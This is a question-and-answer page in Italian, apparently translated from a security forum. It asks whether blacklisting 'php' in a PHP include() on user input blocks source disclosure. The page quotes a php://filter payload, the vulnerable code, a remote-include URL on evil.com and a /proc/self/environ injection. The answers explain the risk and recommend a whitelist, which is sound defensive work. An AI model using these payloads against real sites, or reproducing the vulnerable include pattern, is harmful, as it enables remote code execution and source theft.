Il seguente codice PHP causerà perdite / divulgazione di informazioni sul codice sorgente?

4

Sono a conoscenza di questa vulnerabilità tramite il wrapper flusso filter di PHP che è in grado di rivelare il codice sorgente PHP: file=php://filter/convert.base64-encode/resource=filename.php .

Quindi sono andato avanti per evitare questo tipo di attacco / exploit, filtrando per / via la parola chiave "php", per cercare di fermare qualsiasi wrapper di PHP PHP.

Qualche idea se questo sia abbastanza sicuro / protetto, o c'è un altro possibile vettore di attacco / iniezione da sfruttare & vedi il codice sorgente dei miei script PHP?

Per riferimento, se è importante, sto servendo questi script PHP tramite nginx e PHP 5.5.9 su Ubuntu.

if (!isset($_GET["file"])) { die(); }
$file = $_GET["file"];
if (preg_match("/data:/i", $file)) {
    die();
}
$file = trim($file);
if (preg_match("/php/i", $file)) {
    die();
}
include($file);

Grazie

    
posta Adeline Ho 18.05.2015 - 05:13
fonte

2 risposte

5

Prima di tutto, non stai semplicemente rivelando il contenuto del file. Sei in esecuzione .

Se php è configurato per consentire l'inclusione di URL, l'utente malintenzionato può semplicemente fare file=http://evil.com/attackercode.txt e lo script eseguirà il codice degli aggressori.

In alternativa, l'attaccante può eseguire un file locale includendo il codice php nelle intestazioni delle richieste e facendo file=/proc/self/environ o qualsiasi altro numero di attacchi.

In breve, idealmente non dovresti mai chiamare include sui dati forniti dall'utente.

    
risposta data 18.05.2015 - 05:37
fonte
1

La lista nera è raramente una buona idea. Una lista bianca sarebbe un approccio migliore.

Supponiamo che tu stia utilizzando include per la selezione della lingua. Verifica se file è uguale a english , french o german ad esempio. Chiama die() se non. Quindi non importa se un utente fornisce http://example.com/evil.php , php://filter/convert.base64-encode/resource=filename.php o sql.php come il tuo codice non lo eseguirà.

A proposito, l'attaccante non sarebbe in grado di vedere cosa c'era in sql.php - l'interprete di PHP eseguiva semplicemente il codice incluso come se fosse nel file corrente. Tuttavia, dovresti comunque includere solo i file che ti aspetti.

    
risposta data 18.05.2015 - 10:07
fonte

Leggi altre domande sui tag